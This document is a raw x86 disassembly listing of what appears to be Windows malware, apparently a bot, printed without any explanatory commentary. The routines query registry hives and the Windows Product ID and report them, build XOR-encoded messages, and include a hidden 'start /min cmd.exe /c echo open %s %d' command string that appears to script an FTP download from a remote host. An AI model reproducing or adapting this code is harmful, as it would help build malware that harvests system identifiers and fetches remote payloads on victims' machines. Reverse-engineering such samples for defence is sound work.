push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_4359EC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_446BA4
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_4359EC: ; CODE XREF: sub_4356F0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000000h
call edi ; dword_50F75C
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435AD4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435AD4: ; CODE XREF: sub_4356F0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2910000h
nop
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000003h
call edi ; dword_50F75C
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017E4
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_435BBD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435BBD: ; CODE XREF: sub_4356F0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_435C61
; ---------------------------------------------------------------------------
loc_435BC7: ; CODE XREF: sub_4356F0+3Cj
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435C67
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
nop
call near ptr 2940000h
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 28F0000h
test eax, eax
jnz short loc_435C5C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435C5C: ; CODE XREF: sub_4356F0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_435C61: ; CODE XREF: sub_4356F0+4D2j
nop
call near ptr 2910000h
loc_435C67: ; CODE XREF: sub_4356F0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4356F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435E00 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_435E1D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_435E13: ; CODE XREF: sub_435E00+1Bj
cmp [eax+edx], cl
jz short loc_435E21
inc eax
cmp eax, esi
jl short loc_435E13
loc_435E1D: ; CODE XREF: sub_435E00+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_435E21: ; CODE XREF: sub_435E00+16j
pop esi
mov al, 1
retn
sub_435E00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435E40: ; CODE XREF: ___:00401429j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
call near ptr 71AB2B66h
nop
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_435EFC
push ebx
push ebp
call eax
add esp, 8
loc_435EFC: ; CODE XREF: ___:00435EF3j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_435F3E: ; CODE XREF: ___:00435FB7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_435FB9
loc_435F7E: ; CODE XREF: ___:00435F4Cj
; ___:00435F5Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_435FB0
loc_435FA3: ; CODE XREF: ___:00435FAEj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_435FA3
loc_435FB0: ; CODE XREF: ___:00435FA1j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_435F3E
; ---------------------------------------------------------------------------
loc_435FB9: ; CODE XREF: ___:00435F7Cj
mov eax, [esp+28h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4360A0: ; CODE XREF: ___:00401D61j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436152
push ebx
push ebp
call eax
add esp, 8
loc_436152: ; CODE XREF: ___:00436149j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436194: ; CODE XREF: ___:0043620Dj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_43620F
loc_4361D4: ; CODE XREF: ___:004361A2j
; ___:004361B2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_436206
loc_4361F9: ; CODE XREF: ___:00436204j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4361F9
loc_436206: ; CODE XREF: ___:004361F7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_436194
; ---------------------------------------------------------------------------
loc_43620F: ; CODE XREF: ___:004361D2j
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436300: ; CODE XREF: ___:00401FE1j
mov eax, 200Ch
call sub_436840
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
call sub_5EA1BD
nop
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436402
push ebx
push ebp
call eax
add esp, 8
loc_436402: ; CODE XREF: ___:004363F9j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436444: ; CODE XREF: ___:004364BDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4364BF
loc_436484: ; CODE XREF: ___:00436452j
; ___:00436462j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4364B6
loc_4364A9: ; CODE XREF: ___:004364B4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4364A9
loc_4364B6: ; CODE XREF: ___:004364A7j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_436444
; ---------------------------------------------------------------------------
loc_4364BF: ; CODE XREF: ___:00436482j
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4365C0: ; CODE XREF: ___:00401910j
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43663D
push ebx
push ebp
call eax
add esp, 8
loc_43663D: ; CODE XREF: ___:00436634j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43667F: ; CODE XREF: ___:004366F8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4366FA
loc_4366BF: ; CODE XREF: ___:0043668Dj
; ___:0043669Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4366F1
loc_4366E4: ; CODE XREF: ___:004366EFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4366E4
loc_4366F1: ; CODE XREF: ___:004366E2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43667F
; ---------------------------------------------------------------------------
loc_4366FA: ; CODE XREF: ___:004366BDj
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j
; SEH_4036D0+5j ...
jmp near ptr 77C227FAh
sub_4367C8 endp
; ---------------------------------------------------------------------------
db 0C2h, 2 dup(0CCh)
byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o
; ___:0043E018o ...
db 0E9h, 37h, 0F7h
dd 0E990777Fh, 777E573Ch, 7F2BE6E9h
; ---------------------------------------------------------------------------
ja short loc_436814
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4367E2 proc near ; CODE XREF: ___:00406BE0p
; sub_406C00+11p ...
nop
jmp near ptr 77C29CDDh
sub_4367E2 endp
; ---------------------------------------------------------------------------
dd 8112A3E9h, 6DE9A677h, 0B8778114h, 14EBE990h
db 81h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4367FA proc near ; CODE XREF: sub_406C30+47p
; sub_406C30+9Ap ...
jmp near ptr 77C29CC5h
sub_4367FA endp
; ---------------------------------------------------------------------------
db 34h
dword_436800 dd 7EACE2E9h, 0C18B4677h, 0E1D400C7h, 4C20043h, 0F18B5600h
; ---------------------------------------------------------------------------
loc_436814: ; CODE XREF: ___:004367E0j
call sub_436BCC
test byte ptr [esp+8], 1
jz short loc_436827
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
loc_436827: ; CODE XREF: ___:0043681Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436832 proc near ; CODE XREF: ___:004095CDp
; ___:0040A99Dp
jmp near ptr 77C226F6h
sub_436832 endp
; ---------------------------------------------------------------------------
db 88h
db 90h
db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_436840 proc near ; CODE XREF: sub_40A030+5p
; sub_40FF60+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_436860
loc_43684C: ; CODE XREF: sub_436840+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_43684C
loc_436860: ; CODE XREF: sub_436840+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_436840 endp
; ---------------------------------------------------------------------------
db 0CCh
db 90h
db 0E9h, 0EAh, 0Dh
dd 15E97781h, 0ED777E67h, 91F4E990h, 0E9907780h, 778111C8h
dd 35F0E990h, 8DE97780h, 41778110h, 5B6DE990h, 3D83777Fh
dd 50E9D4h, 0FF0C75FFh, 0E8042474h, 777FE54Ch, 68C35990h
dd 50E9C4h, 50E9D468h, 2474FF00h, 310E80Ch, 0C4830000h
dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
dd 593DE990h, 0D9E9777Fh, 50778008h, 8E9E990h
db 80h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368EA proc near ; CODE XREF: sub_4198C0+28p
nop
jmp near ptr 77C4FA10h
sub_4368EA endp
; =============== S U B R O U T I N E =======================================
sub_4368F0 proc near ; CODE XREF: sub_41B820+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_436911
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_436961
; ---------------------------------------------------------------------------
loc_436911: ; CODE XREF: sub_4368F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_43691F: ; CODE XREF: sub_4368F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_43691F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_43694A
cmp edx, [esp+4+arg_4]
ja short loc_43694A
jb short loc_436952
cmp eax, [esp+4+arg_0]
jbe short loc_436952
loc_43694A: ; CODE XREF: sub_4368F0+4Aj
; sub_4368F0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_436952: ; CODE XREF: sub_4368F0+52j
; sub_4368F0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_436961: ; CODE XREF: sub_4368F0+1Fj
pop ebx
retn 10h
sub_4368F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_436970 proc near ; CODE XREF: sub_41B820+30p
; sub_41B820+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_436992
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4369D3
; ---------------------------------------------------------------------------
loc_436992: ; CODE XREF: sub_436970+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4369A0: ; CODE XREF: sub_436970+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4369A0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4369CE
cmp edx, [esp+8+arg_4]
ja short loc_4369CE
jb short loc_4369CF
cmp eax, [esp+8+arg_0]
jbe short loc_4369CF
loc_4369CE: ; CODE XREF: sub_436970+4Ej
; sub_436970+54j
dec esi
loc_4369CF: ; CODE XREF: sub_436970+56j
; sub_436970+5Cj
xor edx, edx
mov eax, esi
loc_4369D3: ; CODE XREF: sub_436970+20j
pop esi
pop ebx
retn 10h
sub_436970 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0D3h, 0A0h
dd 0E9907780h, 7780862Ch, 811478E9h, 0E9902577h, 7780A486h
dd 0A805E990h, 0E9907780h, 7780AB78h, 80A99BE9h, 34E9BB77h
dd 9F7780ADh, 8111D3E9h, 0E990C077h, 7780B15Eh, 84DCE990h
dd 0E9907780h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h
dd 3C0E990h, 0E9907780h, 778007C2h, 887EE990h, 0E990777Eh
dd 77808EEDh, 0AE20E990h, 8CE97780h, 4778039h, 38B1E990h
dd 0E9907780h, 778126B7h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436A5C proc near ; CODE XREF: ___:0043168Cp
jmp near ptr 77C3619Ch
sub_436A5C endp
; ---------------------------------------------------------------------------
db 79h, 90h, 0E9h
dd 7780030Ch, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch
dd 4C13B1E7h, 0A164D2h, 50000000h, 258964h, 83000000h
dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh
dd 0D835990h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 8725E890h
dd 0D8B777Eh, 50E8D8h, 0E8900889h, 777E86E0h, 0E8D40D8Bh
dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h
dd 7500446Ch, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h
dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h
dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h
dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h
dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
dd 22D9560h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 245B1E1h
dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0CFE88875h, 90778032h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
